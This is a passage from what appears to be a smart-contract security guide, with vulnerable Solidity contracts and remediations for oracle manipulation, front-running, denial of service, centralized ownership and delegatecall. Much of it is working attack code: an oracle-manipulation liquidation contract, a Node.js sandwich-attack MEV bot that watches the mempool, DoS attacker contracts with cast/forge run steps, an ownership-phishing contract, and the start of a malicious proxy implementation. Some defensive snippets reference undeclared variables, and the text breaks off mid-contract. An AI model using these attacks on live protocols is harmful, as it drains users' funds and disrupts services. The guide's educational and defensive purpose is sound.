interface IPriceOracle {
    function getPrice(address token) external view returns (uint256);
}

// Simple AMM-based oracle (vulnerable to manipulation)
contract VulnerableOracle is IPriceOracle {
    mapping(address => address) public tokenPairs; // token => pair address
    
    function setPair(address token, address pair) external {
        tokenPairs[token] = pair;
    }
    
    function getPrice(address token) external view returns (uint256) {
        address pairAddress = tokenPairs[token];
        require(pairAddress != address(0), "Pair not set");
        
        ISimplePair pair = ISimplePair(pairAddress);
        (uint112 reserve0, uint112 reserve1) = pair.getReserves();
        
        // VULNERABLE: Direct spot price calculation
        if (pair.token0() == token) {
            return (uint256(reserve1) * 1e18) / uint256(reserve0);
        } else {
            return (uint256(reserve0) * 1e18) / uint256(reserve1);
        }
    }
}

contract VulnerableLending {
    IPriceOracle public immutable oracle;
    IERC20 public immutable collateralToken;
    IERC20 public immutable loanToken;
    
    mapping(address => uint256) public collateralBalances;
    mapping(address => uint256) public loanBalances;
    
    uint256 public constant COLLATERAL_RATIO = 150; // 150% collateralization
    uint256 public constant LIQUIDATION_THRESHOLD = 120; // 120% liquidation threshold
    
    constructor(address _oracle, address _collateralToken, address _loanToken) {
        oracle = IPriceOracle(_oracle);
        collateralToken = IERC20(_collateralToken);
        loanToken = IERC20(_loanToken);
    }
    
    function depositCollateral(uint256 amount) external {
        collateralToken.transferFrom(msg.sender, address(this), amount);
        collateralBalances[msg.sender] += amount;
    }
    
    function borrow(uint256 amount) external {
        uint256 collateralValue = getCollateralValue(msg.sender);
        uint256 maxBorrow = (collateralValue * 100) / COLLATERAL_RATIO;
        
        require(loanBalances[msg.sender] + amount <= maxBorrow, "Insufficient collateral");
        
        loanBalances[msg.sender] += amount;
        loanToken.transfer(msg.sender, amount);
    }
    
    // VULNERABLE: Can be manipulated via oracle manipulation
    function liquidate(address borrower) external {
        uint256 collateralValue = getCollateralValue(borrower);
        uint256 loanValue = getLoanValue(borrower);
        
        uint256 collateralizationRatio = (collateralValue * 100) / loanValue;
        
        require(collateralizationRatio < LIQUIDATION_THRESHOLD, "Position healthy");
        
        // Liquidator pays off loan and gets collateral at discount
        uint256 liquidationAmount = loanBalances[borrower];
        uint256 collateralReward = (collateralBalances[borrower] * 110) / 100; // 10% bonus
        
        loanToken.transferFrom(msg.sender, address(this), liquidationAmount);
        collateralToken.transfer(msg.sender, collateralReward);
        
        loanBalances[borrower] = 0;
        collateralBalances[borrower] = 0;
    }
    
    function getCollateralValue(address user) public view returns (uint256) {
        uint256 price = oracle.getPrice(address(collateralToken));
        return (collateralBalances[user] * price) / 1e18;
    }
    
    function getLoanValue(address user) public view returns (uint256) {
        uint256 price = oracle.getPrice(address(loanToken));
        return (loanBalances[user] * price) / 1e18;
    }
}

Oracle Manipulation Attack Contract:

contract OracleManipulationAttacker {
    VulnerableLending public immutable lending;
    VulnerableOracle public immutable oracle;
    ISimplePair public immutable targetPair;
    IERC20 public immutable collateralToken;
    IERC20 public immutable loanToken;
    IERC20 public immutable manipulationToken; // Token used to manipulate price
    
    constructor(
        address _lending,
        address _oracle,
        address _targetPair,
        address _collateralToken,
        address _loanToken,
        address _manipulationToken
    ) {
        lending = VulnerableLending(_lending);
        oracle = VulnerableOracle(_oracle);
        targetPair = ISimplePair(_targetPair);
        collateralToken = IERC20(_collateralToken);
        loanToken = IERC20(_loanToken);
        manipulationToken = IERC20(_manipulationToken);
    }
    
    function executeAttack(address victimBorrower) external {
        // Step 1: Check current oracle price
        uint256 originalPrice = oracle.getPrice(address(collateralToken));
        
        // Step 2: Manipulate oracle by trading large amounts
        uint256 manipulationAmount = manipulationToken.balanceOf(address(this));
        manipulationToken.approve(address(targetPair), manipulationAmount);
        
        // Perform large swap to crash collateral token price
        (uint112 reserve0, uint112 reserve1) = targetPair.getReserves();
        uint256 collateralOut;
        
        if (targetPair.token0() == address(collateralToken)) {
            collateralOut = (manipulationAmount * reserve0) / (reserve1 + manipulationAmount);
            targetPair.swap(collateralOut, 0, address(this), "");
        } else {
            collateralOut = (manipulationAmount * reserve1) / (reserve0 + manipulationAmount);
            targetPair.swap(0, collateralOut, address(this), "");
        }
        
        // Step 3: Check new manipulated price
        uint256 manipulatedPrice = oracle.getPrice(address(collateralToken));
        require(manipulatedPrice < originalPrice, "Price manipulation failed");
        
        // Step 4: Liquidate the victim at manipulated price
        uint256 loanAmount = lending.loanBalances(victimBorrower);
        loanToken.approve(address(lending), loanAmount);
        lending.liquidate(victimBorrower);
        
        // Step 5: Reverse the manipulation to restore price
        uint256 collateralBalance = collateralToken.balanceOf(address(this));
        collateralToken.approve(address(targetPair), collateralBalance);
        
        // Swap back to restore price
        if (targetPair.token0() == address(collateralToken)) {
            targetPair.swap(0, manipulationAmount - 1000, address(this), ""); // Keep some for fees
        } else {
            targetPair.swap(manipulationAmount - 1000, 0, address(this), "");
        }
    }
}

Remediation Strategies:

1. Multi-Oracle Aggregation:

contract SecureMultiOracle {
    address[] public oracles;
    uint256 public constant MAX_DEVIATION = 5; // 5% max deviation
    
    function getAggregatedPrice(address token) external view returns (uint256) {
        require(oracles.length >= 3, "Need at least 3 oracles");
        
        uint256[] memory prices = new uint256[](oracles.length);
        for (uint256 i = 0; i < oracles.length; i++) {
            prices[i] = IPriceOracle(oracles[i]).getPrice(token);
        }
        
        // Sort prices and use median
        _quickSort(prices, 0, int(prices.length - 1));
        uint256 median = prices[prices.length / 2];
        
        // Verify all prices are within acceptable deviation
        for (uint256 i = 0; i < prices.length; i++) {
            uint256 deviation = prices[i] > median 
                ? ((prices[i] - median) * 100) / median
                : ((median - prices[i]) * 100) / median;
            require(deviation <= MAX_DEVIATION, "Price deviation too high");
        }
        
        return median;
    }
    
    function _quickSort(uint256[] memory arr, int left, int right) internal pure {
        // QuickSort implementation for price sorting
        if (left < right) {
            int pivot = _partition(arr, left, right);
            _quickSort(arr, left, pivot - 1);
            _quickSort(arr, pivot + 1, right);
        }
    }
    
    function _partition(uint256[] memory arr, int left, int right) internal pure returns (int) {
        uint256 pivot = arr[uint(right)];
        int i = left - 1;
        
        for (int j = left; j < right; j++) {
            if (arr[uint(j)] <= pivot) {
                i++;
                (arr[uint(i)], arr[uint(j)]) = (arr[uint(j)], arr[uint(i)]);
            }
        }
        (arr[uint(i + 1)], arr[uint(right)]) = (arr[uint(right)], arr[uint(i + 1)]);
        return i + 1;
    }
}

6. Front-running & MEV Attacks [MEDIUM-HIGH SEVERITY]
#

Vulnerability Description: Attackers observe pending transactions in the mempool and submit their own transactions with higher gas fees to execute before or around victim transactions, extracting value.

Detection Patterns:

  • Public functions with deterministic profitable outcomes
  • DEX trades with high slippage tolerance
  • NFT mints or auctions with predictable pricing
  • Governance proposals with economic impact

Complete Exploitation Example:

Vulnerable DEX (SimpleDEX.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract SimpleDEX {
    IERC20 public immutable tokenA;
    IERC20 public immutable tokenB;
    
    uint256 public reserveA;
    uint256 public reserveB;
    
    event Swap(address indexed user, uint256 amountIn, uint256 amountOut, address tokenIn);
    
    constructor(address _tokenA, address _tokenB) {
        tokenA = IERC20(_tokenA);
        tokenB = IERC20(_tokenB);
    }
    
    function addLiquidity(uint256 amountA, uint256 amountB) external {
        tokenA.transferFrom(msg.sender, address(this), amountA);
        tokenB.transferFrom(msg.sender, address(this), amountB);
        reserveA += amountA;
        reserveB += amountB;
    }
    
    // VULNERABLE: No slippage protection, predictable execution
    function swapAforB(uint256 amountIn) external {
        require(amountIn > 0, "Amount must be positive");
        
        uint256 amountOut = getAmountOut(amountIn, reserveA, reserveB);
        
        tokenA.transferFrom(msg.sender, address(this), amountIn);
        tokenB.transfer(msg.sender, amountOut);
        
        reserveA += amountIn;
        reserveB -= amountOut;
        
        emit Swap(msg.sender, amountIn, amountOut, address(tokenA));
    }
    
    function swapBforA(uint256 amountIn) external {
        require(amountIn > 0, "Amount must be positive");
        
        uint256 amountOut = getAmountOut(amountIn, reserveB, reserveA);
        
        tokenB.transferFrom(msg.sender, address(this), amountIn);
        tokenA.transfer(msg.sender, amountOut);
        
        reserveB += amountIn;
        reserveA -= amountOut;
        
        emit Swap(msg.sender, amountIn, amountOut, address(tokenB));
    }
    
    function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) 
        public pure returns (uint256) {
        require(amountIn > 0 && reserveIn > 0 && reserveOut > 0, "Invalid amounts");
        
        uint256 amountInWithFee = amountIn * 997; // 0.3% fee
        uint256 numerator = amountInWithFee * reserveOut;
        uint256 denominator = (reserveIn * 1000) + amountInWithFee;
        
        return numerator / denominator;
    }
}

MEV Bot Implementation:

// MEV Bot using ethers.js and Node.js
const { ethers } = require('ethers');
const WebSocket = require('ws');

class MEVBot {
    constructor(rpcUrl, privateKey, dexAddress) {
        this.provider = new ethers.providers.JsonRpcProvider(rpcUrl);
        this.wallet = new ethers.Wallet(privateKey, this.provider);
        this.dexContract = new ethers.Contract(dexAddress, DEX_ABI, this.wallet);
        
        // WebSocket for mempool monitoring
        this.wsProvider = new ethers.providers.WebSocketProvider('wss://eth-mainnet.ws.alchemyapi.io/v2/YOUR_API_KEY');
    }
    
    async startMonitoring() {
        console.log('Starting MEV bot...');
        
        // Monitor pending transactions
        this.wsProvider.on('pending', async (txHash) => {
            try {
                const tx = await this.provider.getTransaction(txHash);
                if (tx && tx.to && tx.to.toLowerCase() === this.dexContract.address.toLowerCase()) {
                    await this.analyzePendingTx(tx);
                }
            } catch (error) {
                // Ignore errors from failed transaction fetches
            }
        });
    }
    
    async analyzePendingTx(pendingTx) {
        try {
            // Decode transaction data
            const decodedData = this.dexContract.interface.parseTransaction({
                data: pendingTx.data,
                value: pendingTx.value
            });
            
            if (decodedData.name === 'swapAforB' || decodedData.name === 'swapBforA') {
                const amountIn = decodedData.args[0];
                const gasPrice = pendingTx.gasPrice;
                
                // Check if this trade is profitable to front-run
                const profit = await this.calculateSandwichProfit(decodedData.name, amountIn);
                
                if (profit.isProfiblae) {
                    await this.executeSandwichAttack(pendingTx, profit);
                }
            }
        } catch (error) {
            console.error('Error analyzing pending tx:', error);
        }
    }
    
    async calculateSandwichProfit(swapFunction, victimAmountIn) {
        // Get current reserves
        const reserveA = await this.dexContract.reserveA();
        const reserveB = await this.dexContract.reserveB();
        
        // Simulate sandwich attack
        const frontRunAmount = victimAmountIn.div(10); // Use 10% of victim's amount
        
        let profit = ethers.BigNumber.from(0);
        let isProfiblae = false;
        
        if (swapFunction === 'swapAforB') {
            // Front-run: buy tokenB (same direction as victim)
            const frontRunOut = await this.dexContract.getAmountOut(frontRunAmount, reserveA, reserveB);
            
            // Victim's trade (worse price due to our front-run)
            const newReserveA = reserveA.add(frontRunAmount);
            const newReserveB = reserveB.sub(frontRunOut);
            
            // Back-run: sell tokenB back
            const backRunOut = await this.dexContract.getAmountOut(frontRunOut, newReserveB, newReserveA);
            
            profit = backRunOut.sub(frontRunAmount);
            isProfiblae = profit.gt(ethers.utils.parseEther('0.01')); // Minimum 0.01 ETH profit
        }
        
        return { isProfiblae, profit, frontRunAmount };
    }
    
    async executeSandwichAttack(victimTx, profitData) {
        try {
            const victimGasPrice = victimTx.gasPrice;
            const frontRunGasPrice = victimGasPrice.add(ethers.utils.parseUnits('1', 'gwei'));
            const backRunGasPrice = victimGasPrice.sub(ethers.utils.parseUnits('1', 'gwei'));
            
            console.log(`Executing sandwich attack with profit: ${ethers.utils.formatEther(profitData.profit)} ETH`);
            
            // Front-run transaction
            const frontRunTx = await this.dexContract.swapAforB(profitData.frontRunAmount, {
                gasPrice: frontRunGasPrice,
                gasLimit: 200000
            });
            
            console.log(`Front-run tx sent: ${frontRunTx.hash}`);
            
            // Wait for victim's transaction to be mined
            await this.waitForVictimTx(victimTx.hash);
            
            // Back-run transaction
            const tokenBBalance = await this.getTokenBBalance();
            const backRunTx = await this.dexContract.swapBforA(tokenBBalance, {
                gasPrice: backRunGasPrice,
                gasLimit: 200000
            });
            
            console.log(`Back-run tx sent: ${backRunTx.hash}`);
            
        } catch (error) {
            console.error('Sandwich attack failed:', error);
        }
    }
    
    async waitForVictimTx(victimTxHash) {
        let receipt = null;
        let attempts = 0;
        const maxAttempts = 20;
        
        while (!receipt && attempts < maxAttempts) {
            try {
                receipt = await this.provider.getTransactionReceipt(victimTxHash);
                if (receipt) {
                    console.log(`Victim tx mined in block: ${receipt.blockNumber}`);
                    return receipt;
                }
            } catch (error) {
                // Transaction not yet mined
            }
            
            await new Promise(resolve => setTimeout(resolve, 1000)); // Wait 1 second
            attempts++;
        }
        
        throw new Error('Victim transaction not found');
    }
    
    async getTokenBBalance() {
        // Assuming we have tokenB contract instance
        return await this.tokenBContract.balanceOf(this.wallet.address);
    }
}

// Usage
const bot = new MEVBot(
    'https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY',
    'YOUR_PRIVATE_KEY',
    'DEX_CONTRACT_ADDRESS'
);

bot.startMonitoring();

Remediation Strategies:

1. Implement Slippage Protection:

contract SecureDEX {
    function swapAforBWithSlippage(
        uint256 amountIn, 
        uint256 minAmountOut,
        uint256 deadline
    ) external {
        require(block.timestamp <= deadline, "Transaction expired");
        
        uint256 amountOut = getAmountOut(amountIn, reserveA, reserveB);
        require(amountOut >= minAmountOut, "Slippage too high");
        
        // Execute swap
        tokenA.transferFrom(msg.sender, address(this), amountIn);
        tokenB.transfer(msg.sender, amountOut);
        
        reserveA += amountIn;
        reserveB -= amountOut;
    }
}

2. Commit-Reveal Scheme:

contract CommitRevealDEX {
    struct Commitment {
        bytes32 commitment;
        uint256 deadline;
        bool revealed;
    }
    
    mapping(address => Commitment) public commitments;
    uint256 public constant REVEAL_PERIOD = 10 minutes;
    
    function commitSwap(bytes32 _commitment) external {
        commitments[msg.sender] = Commitment({
            commitment: _commitment,
            deadline: block.timestamp + REVEAL_PERIOD,
            revealed: false
        });
    }
    
    function revealAndSwap(
        uint256 amountIn,
        bool isAforB,
        uint256 nonce
    ) external {
        Commitment storage commitment = commitments[msg.sender];
        require(!commitment.revealed, "Already revealed");
        require(block.timestamp <= commitment.deadline, "Reveal period expired");
        
        bytes32 hash = keccak256(abi.encodePacked(amountIn, isAforB, nonce, msg.sender));
        require(hash == commitment.commitment, "Invalid reveal");
        
        commitment.revealed = true;
        
        // Execute swap
        if (isAforB) {
            _swapAforB(amountIn);
        } else {
            _swapBforA(amountIn);
        }
    }
}

3. Use Flashbots or Private Mempools:

// Using Flashbots to avoid public mempool
const { FlashbotsBundleProvider } = require('@flashbots/ethers-provider-bundle');

async function sendPrivateTransaction() {
    const flashbotsProvider = await FlashbotsBundleProvider.create(
        provider,
        wallet,
        'https://relay.flashbots.net'
    );
    
    const transaction = {
        to: dexAddress,
        data: dexContract.interface.encodeFunctionData('swapAforB', [amountIn]),
        gasLimit: 200000,
        gasPrice: ethers.utils.parseUnits('20', 'gwei')
    };
    
    const bundle = [
        {
            signer: wallet,
            transaction: transaction
        }
    ];
    
    const targetBlockNumber = await provider.getBlockNumber() + 1;
    const bundleResponse = await flashbotsProvider.sendBundle(bundle, targetBlockNumber);
    
    console.log('Bundle sent to Flashbots');
}

7. Denial of Service (DoS) Attacks [MEDIUM-HIGH SEVERITY]
#

Vulnerability Description: Preventing legitimate users from interacting with contract functions through various mechanisms like gas limit exploitation, external call failures, or state manipulation.

Detection Patterns:

  • Unbounded loops over dynamic arrays
  • External calls in loops without failure handling
  • Functions dependent on external contract states
  • Gas-intensive operations without limits

Complete Exploitation Example:

Vulnerable Auction Contract (DoSAuction.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DoSAuction {
    address[] public bidders;
    mapping(address => uint256) public bids;
    address public highestBidder;
    uint256 public highestBid;
    bool public ended;
    
    event BidPlaced(address bidder, uint256 amount);
    event AuctionEnded(address winner, uint256 amount);
    
    function bid() external payable {
        require(!ended, "Auction ended");
        require(msg.value > highestBid, "Bid too low");
        
        // VULNERABLE: Unbounded array growth
        bidders.push(msg.sender);
        bids[msg.sender] = msg.value;
        
        highestBidder = msg.sender;
        highestBid = msg.value;
        
        emit BidPlaced(msg.sender, msg.value);
    }
    
    // VULNERABLE: Unbounded loop + external calls
    function endAuction() external {
        require(!ended, "Already ended");
        
        // Refund all non-winning bidders
        for (uint256 i = 0; i < bidders.length; i++) {
            if (bidders[i] != highestBidder) {
                // VULNERABLE: External call in loop
                (bool success, ) = bidders[i].call{value: bids[bidders[i]]}("");
                require(success, "Refund failed"); // DoS if any refund fails
            }
        }
        
        ended = true;
        emit AuctionEnded(highestBidder, highestBid);
    }
    
    // VULNERABLE: Anyone can call, potential for griefing
    function emergencyRefund() external {
        require(ended, "Auction not ended");
        
        for (uint256 i = 0; i < bidders.length; i++) {
            address bidder = bidders[i];
            if (bidder != highestBidder && bids[bidder] > 0) {
                uint256 refundAmount = bids[bidder];
                bids[bidder] = 0;
                
                (bool success, ) = bidder.call{value: refundAmount}("");
                if (!success) {
                    // Failed refunds are lost (griefing potential)
                    emit RefundFailed(bidder, refundAmount);
                }
            }
        }
    }
    
    event RefundFailed(address bidder, uint256 amount);
}

DoS Attack Contracts:

1. Gas Limit DoS Attack:

contract GasDoSAttacker {
    DoSAuction public immutable auction;
    uint256 public constant SPAM_COUNT = 1000;
    
    constructor(address _auction) {
        auction = DoSAuction(_auction);
    }
    
    function spamAuction() external payable {
        require(msg.value >= SPAM_COUNT * 1 gwei, "Need more ETH for spam");
        
        // Create many small bids to fill the bidders array
        for (uint256 i = 0; i < SPAM_COUNT; i++) {
            // Create minimal bid to add to bidders array
            auction.bid{value: 1 gwei}();
        }
    }
    
    // Prevent receiving refunds to block endAuction
    receive() external payable {
        revert("I don't accept refunds");
    }
}

2. Revert DoS Attack:

contract RevertDoSAttacker {
    DoSAuction public immutable auction;
    bool public acceptRefunds = false;
    
    constructor(address _auction) {
        auction = DoSAuction(_auction);
    }
    
    function placeBid() external payable {
        auction.bid{value: msg.value}();
    }
    
    function enableDoS() external {
        acceptRefunds = false; // Reject all refunds
    }
    
    function disableDoS() external {
        acceptRefunds = true; // Allow refunds
    }
    
    receive() external payable {
        if (!acceptRefunds) {
            revert("DoS activated - no refunds accepted");
        }
    }
}

Step-by-Step DoS Attack Execution:

  1. Deploy Vulnerable Auction:
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  src/DoSAuction.sol:DoSAuction

export AUCTION_ADDRESS="0x..."
  1. Deploy DoS Attacker:
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  src/GasDoSAttacker.sol:GasDoSAttacker $AUCTION_ADDRESS

export DOS_ATTACKER="0x..."
  1. Execute Gas Limit DoS:
# Spam the auction with many small bids
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $DOS_ATTACKER "spamAuction()" --value 1ether

# Try to end auction (should fail due to gas limit)
cast send --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  $AUCTION_ADDRESS "endAuction()" --gas-limit 10000000

# Check if auction ended
cast call --rpc-url $RPC_URL $AUCTION_ADDRESS "ended()(bool)"
  1. Execute Revert DoS:
# Deploy revert attacker
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  src/RevertDoSAttacker.sol:RevertDoSAttacker $AUCTION_ADDRESS

export REVERT_ATTACKER="0x..."

# Place a bid
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $REVERT_ATTACKER "placeBid()" --value 0.1ether

# Enable DoS (reject refunds)
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $REVERT_ATTACKER "enableDoS()"

# Try to end auction (should fail due to revert in refund)
cast send --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  $AUCTION_ADDRESS "endAuction()"

Remediation Strategies:

1. Pull over Push Pattern:

contract SecureAuction {
    mapping(address => uint256) public pendingReturns;
    address public highestBidder;
    uint256 public highestBid;
    bool public ended;
    
    function bid() external payable {
        require(!ended, "Auction ended");
        
        if (highestBid != 0) {
            // Add previous high bid to pending returns instead of sending immediately
            pendingReturns[highestBidder] += highestBid;
        }
        
        highestBidder = msg.sender;
        highestBid = msg.value;
    }
    
    function withdraw() external {
        uint256 amount = pendingReturns[msg.sender];
        require(amount > 0, "No funds to withdraw");
        
        pendingReturns[msg.sender] = 0;
        
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Withdrawal failed");
    }
    
    function endAuction() external {
        require(!ended, "Already ended");
        ended = true;
        // No loops, no external calls in critical path
    }
}

2. Pagination for Large Operations:

contract PaginatedRefunds {
    address[] public bidders;
    mapping(address => uint256) public bids;
    uint256 public refundIndex;
    bool public ended;
    
    function processRefunds(uint256 batchSize) external {
        require(ended, "Auction not ended");
        require(refundIndex < bidders.length, "All refunds processed");
        
        uint256 endIndex = refundIndex + batchSize;
        if (endIndex > bidders.length) {
            endIndex = bidders.length;
        }
        
        for (uint256 i = refundIndex; i < endIndex; i++) {
            address bidder = bidders[i];
            if (bidder != highestBidder && bids[bidder] > 0) {
                uint256 refundAmount = bids[bidder];
                bids[bidder] = 0;
                
                (bool success, ) = bidder.call{value: refundAmount}("");
                if (!success) {
                    // Failed refunds go to pendingReturns for manual withdrawal
                    pendingReturns[bidder] += refundAmount;
                }
            }
        }
        
        refundIndex = endIndex;
    }
}

3. Circuit Breakers and Limits:

contract LimitedAuction {
    address[] public bidders;
    uint256 public constant MAX_BIDDERS = 100;
    uint256 public constant MAX_GAS_PER_REFUND = 2300;
    
    function bid() external payable {
        require(bidders.length < MAX_BIDDERS, "Too many bidders");
        require(!ended, "Auction ended");
        
        bidders.push(msg.sender);
        // ... rest of bid logic
    }
    
    function safeRefund(address bidder, uint256 amount) internal {
        (bool success, ) = bidder.call{gas: MAX_GAS_PER_REFUND, value: amount}("");
        if (!success) {
            // Add to pending returns for manual withdrawal
            pendingReturns[bidder] += amount;
        }
    }
}

8. Centralization & Ownership Risks [HIGH SEVERITY]
#

Vulnerability Description: Excessive power concentrated in single entities (owners, admins) or flawed ownership transfer mechanisms that can lead to loss of control or malicious takeover.

Detection Patterns:

  • Single EOA controlling critical functions
  • Missing or inadequate multi-signature requirements
  • Flawed ownership transfer without confirmation
  • Admin keys stored in hot wallets

Complete Exploitation Example:

Vulnerable Governance Token (CentralizedToken.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract CentralizedToken is ERC20 {
    address public owner;
    address public minter;
    bool public paused = false;
    
    mapping(address => bool) public blacklisted;
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }
    
    modifier onlyMinter() {
        require(msg.sender == minter, "Not minter");
        _;
    }
    
    modifier notPaused() {
        require(!paused, "Contract paused");
        _;
    }
    
    constructor() ERC20("Centralized Token", "CENT") {
        owner = msg.sender;
        minter = msg.sender;
        _mint(msg.sender, 1000000 * 10**18);
    }
    
    // VULNERABLE: Single point of failure
    function transferOwnership(address newOwner) external onlyOwner {
        owner = newOwner; // No confirmation required
    }
    
    // VULNERABLE: Owner can freeze anyone's funds
    function blacklistAddress(address target) external onlyOwner {
        blacklisted[target] = true;
    }
    
    function removeBlacklist(address target) external onlyOwner {
        blacklisted[target] = false;
    }
    
    // VULNERABLE: Owner can pause entire contract
    function pause() external onlyOwner {
        paused = true;
    }
    
    function unpause() external onlyOwner {
        paused = false;
    }
    
    // VULNERABLE: Unlimited minting power
    function mint(address to, uint256 amount) external onlyMinter {
        _mint(to, amount);
    }
    
    function setMinter(address newMinter) external onlyOwner {
        minter = newMinter;
    }
    
    // Overrides to enforce blacklist and pause
    function transfer(address to, uint256 amount) public override notPaused returns (bool) {
        require(!blacklisted[msg.sender] && !blacklisted[to], "Address blacklisted");
        return super.transfer(to, amount);
    }
    
    function transferFrom(address from, address to, uint256 amount) public override notPaused returns (bool) {
        require(!blacklisted[from] && !blacklisted[to], "Address blacklisted");
        return super.transferFrom(from, to, amount);
    }
    
    // VULNERABLE: Owner can drain contract
    function emergencyWithdraw() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }
}

Exploitation Scenarios:

1. Accidental Ownership Loss:

# Owner accidentally transfers ownership to wrong address
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
  $TOKEN_ADDRESS "transferOwnership(address)" 0x0000000000000000000000000000000000000000

# Contract is now unmanageable
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "owner()(address)"
# Returns: 0x0000000000000000000000000000000000000000

2. Malicious Owner Exploitation:

# Malicious owner blacklists large holders
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
  $TOKEN_ADDRESS "blacklistAddress(address)" $WHALE_ADDRESS

# Malicious owner mints infinite tokens
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
  $TOKEN_ADDRESS "mint(address,uint256)" $OWNER_ADDRESS 1000000000000000000000000

# Malicious owner pauses contract during market crash
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
  $TOKEN_ADDRESS "pause()"

3. Social Engineering Attack on Owner:

// Phishing contract that tricks owner into transferring ownership
contract PhishingContract {
    CentralizedToken public immutable target;
    
    constructor(address _target) {
        target = CentralizedToken(_target);
    }
    
    // Disguised as a legitimate upgrade function
    function upgradeContract() external {
        // If called by owner, this secretly transfers ownership
        if (msg.sender == target.owner()) {
            target.transferOwnership(address(this));
        }
    }
    
    // Now attacker controls the token
    function maliciousAction() external {
        target.mint(msg.sender, 1000000 * 10**18);
        target.pause();
    }
}

Remediation Strategies:

1. Multi-Signature Wallets:

import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";

contract MultiSigControlled {
    address public multiSigWallet;
    
    modifier onlyMultiSig() {
        require(msg.sender == multiSigWallet, "Only multisig");
        _;
    }
    
    constructor(address _multiSigWallet) {
        multiSigWallet = _multiSigWallet;
    }
    
    function criticalFunction() external onlyMultiSig {
        // Critical operations require multiple signatures
    }
}

2. Two-Step Ownership Transfer:

import "@openzeppelin/contracts/access/Ownable2Step.sol";

contract SecureToken is Ownable2Step {
    function criticalFunction() external onlyOwner {
        // Function logic
    }
    
    // Ownership transfer now requires acceptOwnership() from new owner
}

3. Role-Based Access Control:

import "@openzeppelin/contracts/access/AccessControl.sol";

contract RoleBasedToken is AccessControl {
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
    bytes32 public constant BLACKLISTER_ROLE = keccak256("BLACKLISTER_ROLE");
    
    constructor() {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _grantRole(MINTER_ROLE, msg.sender);
        _grantRole(PAUSER_ROLE, msg.sender);
    }
    
    function mint(address to, uint256 amount) external onlyRole(MINTER_ROLE) {
        _mint(to, amount);
    }
    
    function pause() external onlyRole(PAUSER_ROLE) {
        _pause();
    }
    
    function blacklistAddress(address target) external onlyRole(BLACKLISTER_ROLE) {
        blacklisted[target] = true;
    }
}

4. Timelock for Critical Operations:

import "@openzeppelin/contracts/governance/TimelockController.sol";

contract TimelockControlled {
    TimelockController public immutable timelock;
    
    constructor(address _timelock) {
        timelock = TimelockController(payable(_timelock));
    }
    
    modifier onlyTimelock() {
        require(msg.sender == address(timelock), "Only timelock");
        _;
    }
    
    function criticalFunction() external onlyTimelock {
        // Critical operations have built-in delay
    }
}

9. Delegatecall Vulnerabilities [CRITICAL SEVERITY]
#

Vulnerability Description: Misuse of delegatecall leading to storage collision, unintended state changes, or complete contract takeover. Particularly dangerous in proxy patterns where implementation contracts can manipulate proxy storage.

Detection Patterns:

  • Use of delegatecall without proper storage layout management
  • Proxy contracts with unprotected initialization
  • Implementation contracts without storage collision protection
  • Missing access controls on proxy upgrade functions

Complete Exploitation Example:

Vulnerable Proxy System:

SimpleProxy.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleProxy {
    // Storage slot 0
    address public implementation;
    // Storage slot 1
    address public admin;
    // Storage slot 2
    uint256 public version;
    
    constructor(address _implementation, address _admin) {
        implementation = _implementation;
        admin = _admin;
        version = 1;
    }
    
    modifier onlyAdmin() {
        require(msg.sender == admin, "Not admin");
        _;
    }
    
    function upgrade(address newImplementation) external onlyAdmin {
        implementation = newImplementation;
        version++;
    }
    
    fallback() external payable {
        address impl = implementation;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }
    
    receive() external payable {}
}

VulnerableImplementation.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableImplementation {
    // DANGEROUS: Storage layout doesn't match proxy
    // Storage slot 0 - collides with proxy's implementation
    address public owner;
    // Storage slot 1 - collides with proxy's admin
    uint256 public balance;
    // Storage slot 2 - collides with proxy's version
    bool public initialized;
    
    mapping(address => uint256) public userBalances;
    
    // VULNERABLE: No initialization protection
    function initialize(address _owner) external {
        owner = _owner;
        initialized = true;
    }
    
    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
        balance += msg.value;
    }
    
    function withdraw(uint256 amount) external {
        require(userBalances[msg.sender] >= amount, "Insufficient balance");
        userBalances[msg.sender] -= amount;
        balance -= amount;
        payable(msg.sender).transfer(amount);
    }
    
    function adminWithdraw() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
    
    // VULNERABLE: Can be called by anyone to change storage
    function changeOwner(address newOwner) external {
        require(initialized, "Not initialized");
        owner = newOwner;
    }
}

MaliciousImplementation.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MaliciousImplementation {
    // Deliberately matching proxy storage layout
    address public implementation; // slot 0
